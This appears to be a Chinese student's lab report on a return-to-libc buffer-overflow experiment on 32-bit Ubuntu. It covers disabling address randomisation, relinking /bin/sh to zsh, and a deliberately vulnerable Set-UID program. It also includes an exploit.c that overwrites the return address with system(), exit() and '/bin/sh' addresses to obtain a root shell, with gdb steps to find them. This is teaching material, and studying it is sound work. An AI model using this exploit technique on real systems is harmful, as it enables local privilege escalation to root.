文章目录
Return-to-libc攻击实验
缓冲区溢出的常用攻击方法是用 shellcode 的地址来覆盖漏洞程序的返回地址,使得漏洞程序去执行存放在栈中 shellcode。为了阻止这种类型的攻击,一些操作系统使得系统管理员具有使栈不可执行的能力。这样的话,一旦程序执行存放在栈中的 ==shellcode ==就会崩溃,从而阻止了攻击。
不幸的是上面的保护方式并不是完全有效的,现在存在一种缓冲区溢出的变体攻击,叫做 return-to-libc 攻击。这种攻击不需要一个栈可以执行,甚至不需要一个 shellcode。取而代之的是我们让漏洞程序跳转到现存的代码(比如已经载入内存的 libc 库中的 system()函数等)来实现我们的攻击。
实验过程
1 、输入命令安装一些用于编译 32 位 C 程序的软件包
实验楼提供的是 64 位 Ubuntu linux,而本次实验为了方便观察汇编语句,我们需要在 32 位环境下作操作,因此实验之前需要做一些准备。
但是实验楼环境有问题,无法实现该实验,故我直接在32位机器上操作,或者也可以在64位机器上重新以下操作,完成初始设置,也可以完成实验。
我的环境为:ubuntu-16.04.6 32位
若环境为64位,则需要以下代码进行初始软件包的准备:
若环境为32位则不需要这一步
sudo apt-get update
sudo apt-get install lib32z1 libc6-dev-i386 #这个过程耗时有点长,请等待一会
sudo apt-get install lib32readline-gplv2-dev
2、输入命令 linux32 进入 32 位 linux 环境,输入 /bin/bash 使用 bash:
若环境为32位则不需要这一步
linux32
/bin/bash
3、初始设置
Ubuntu 和其他一些 Linux 系统中,使用地址空间随机化来随机堆(heap)和栈(stack)的初始地址,这使得猜测准确的内存地址变得十分困难,而猜测内存地址是缓冲区溢出攻击的关键。因此本次实验中,我们使用以下命令关闭这一功能:
sudo sysctl -w kernel.randomize_va_space=0
此外,为了进一步防范缓冲区溢出攻击及其它利用 shell 程序的攻击,许多 shell 程序在被调用时自动放弃它们的特权。因此,即使你能欺骗一个 Set-UID 程序调用一个 shell,也不能在这个 shell 中保持 root 权限,这个防护措施在/bin/bash 中实现。
linux 系统中,/bin/sh 实际是指向/bin/bash 或 /bin/dash 的一个符号链接。为了重现这一防护措施被实现之前的情形,我们使用另一个 shell 程序(zsh)代替 /bin/bash。下面的指令描述了如何设置 zsh 程序:
sudo su
cd /bin
rm sh
ln -s zsh sh
exit
为了防止缓冲区溢出攻击,最近版本的 gcc 编译器默认将程序编译设置为栈不可执行,而你可以在编译的时候手动设置是否使栈不可执行:
gcc -z execstack -o test test.c #栈可执行
gcc -z noexecstack -o test test.c #栈不可执行
本次实验的目的,就是展示这个“栈不可执行”的保护措施并不是完全有效,所以我们使用-z
noexecstack,或者不手动指定而使用编译器的默认设置。
4、漏洞程序
在 /home/shiyanlou 目录下新建 retlib.c 文件,
这里我在我的temp文件夹下新建文件。
cd /home/shiyanlou
vi retlib.c
代码如下:
/* retlib.c */
/* This program has a buffer overflow vulnerability. */
/* Our task is to exploit this vulnerability */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int bof(FILE *badfile)
{
char buffer[12];
/* The following statement has a buffer overflow problem */
fread(buffer, sizeof(char), 40, badfile);
return 1;
}
int main(int argc, char **argv)
{
FILE *badfile;
badfile = fopen("badfile", "r");
bof(badfile);
printf("Returned Properly\n");
fclose(badfile);
return 1;
}
编译该程序,并设置 SET-UID。命令如下:
sudo su
gcc -m32 -g -z noexecstack -fno-stack-protector -o retlib retlib.c
chmod u+s retlib
exit
或者也可以 gcc -m32 -g -fno-stack-protector -o retlib retlib.c,默认使用“栈不可执行”保护。
GCC 编译器有一种栈保护机制来阻止缓冲区溢出,所以我们在编译代码时需要用 –fno-stack-protector 关闭这种机制。
上述程序有一个缓冲区溢出漏洞,它先从一个叫 badfile 的文件里把 40 字节的数据读取到 12 字节的 buffer,引起溢出。fread() 函数不检查边界所以会发生溢出。由于此程序为 SET-ROOT-UID 程序,如果一个普通用户利用了此缓冲区溢出漏洞,他有可能获得 root shell。应该注意到此程序是从一个叫做badfile的文件获得输入的,这个文件受用户控制。现在我们的目标是为 badfile 创建内容,这样当这段漏洞程序将此内容复制进它的缓冲区,便产生了一个 root shell 。
我们还需要用到一个读取环境变量的程序,在 /home/shiyanlou 目录下新建 getenvaddr.c 文件,文件内容如下:
/* getenvaddr.c */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char const *argv[])
{
char *ptr;
if (argc < 3)
{
printf("Usage: %s <environment var> <target program name>\n", argv[0]);
exit(0);
}
ptr = getenv(argv[1]);
ptr += (strlen(argv[0]) - strlen(argv[2])) * 2;
printf("%s will be at %p\n", argv[1], ptr);
return 0;
}
编译一下:
gcc -m32 -o getenvaddr getenvaddr.c
5、攻击程序
在 /home/shiyanlou 目录下新建 exploit.c 文件,内容如下:
/* exploit.c */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv)
{
char buf[40];
FILE *badfile;
badfile = fopen(".//badfile", "w");
strcpy(buf, "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90");// nop 24 times
*(long *) &buf[32] =0x11111111; // "//bin//sh"
*(long *) &buf[24] =0x22222222; // system()
*(long *) &buf[36] =0x33333333; // exit()
fwrite(buf, sizeof(buf), 1, badfile);
fclose(badfile);
}
代码中“0x11111111”、“0x22222222”、“0x33333333”分别是 BIN_SH、system、exit 的地址,需要我们接下来获取。
6、获取内存地址
用刚才的 getenvaddr 程序获得 BIN_SH 地址:
export BIN_SH="/bin/sh"
echo $BIN_SH
./getenvaddr BIN_SH ./retlib
gdb 获得 system 和 exit 地址:
gcc -m32 -g -o exploit exploit.c
gdb -q ./exploit
(gdb)list
(gdb)b 10
(gdb)run
(gdb)p system
(gdb)p exit
修改 exploit.c 文件,填上刚才找到的内存地址:
删除刚才调试编译的 exploit 程序和 badfile 文件,重新编译修改后的 exploit.c:
rm exploit
rm badfile
gcc -m32 -o exploit exploit.c
先运行攻击程序 exploit,再运行漏洞程序 retlib,就能攻击成功并获得 root 权限:
ls
./exploit
./retlib
whoami
练习
1、按照实验步骤进行操作,攻击漏洞程序并获得 root 权限。
成功。
2、将/bin/sh 重新指向/bin/bash(或/bin/dash),观察能否攻击成功,能否获得 root 权限。
能成功,但得到的不是root权限而是当前用户的权限。
遇到的问题
实验楼环境有问题,无法实现此实验。这个问题的出现是安装32位软件包后与64位的系统有冲突,导致编译C语言时会出现找不到32位库文件gcc_s lib的现象,具体原因不得而知,总之32位和64位的库文件将冲突。